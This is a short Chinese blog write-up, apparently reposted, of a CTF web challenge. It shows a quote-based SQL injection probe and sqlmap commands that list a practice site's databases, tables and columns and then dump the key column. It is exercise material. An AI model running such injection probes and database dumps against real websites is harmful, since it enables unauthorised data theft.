CTF之web这道题很简单

    xiaoxiao2021-03-26  10

    网站名称:http://ctf5.shiyanbar.com/8/index.php?id=1 1、输入【’】报错,发现注入 2、输入【and 1=1】正常,输入【and 1=2】不正常,证明就是SQL注入 3、sqlmap进行SQL注入,这个可以通过linux虚拟机进行操作,也可以直接在windows操作系统中安装sqlmap进行操作,这个在我的博客里有相关介绍,博客地址:http://blog.csdn.net/lijia1111,安装好sqlmap后输入一下指令:

    查看当前数据库: sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -v 1 --current-db 查看表: sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -v 1 -D my_db --tables 查看列: sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -v 1 -D my_db -T thiskey --columns 查看key: sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -v 1 -D my_db -T thiskey -C koy --dump

    得到key值 如图是我的操作过程: 1、查看当前数据库 2、查看表

    3、查看列

    4、查看key的值

    得到key的值,之前得到的不是正确的,因为当时把k0y看错了。

    sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -v 1 --dump -C koy -T thiskey -D my_db

    当我对sqlmap了解更深入以后,才能输入正确的指令,现在先不对sqlmap指令有深究。。。

    转载请注明原文地址: https://ju.6miu.com/read-650328.html

    最新回复(0)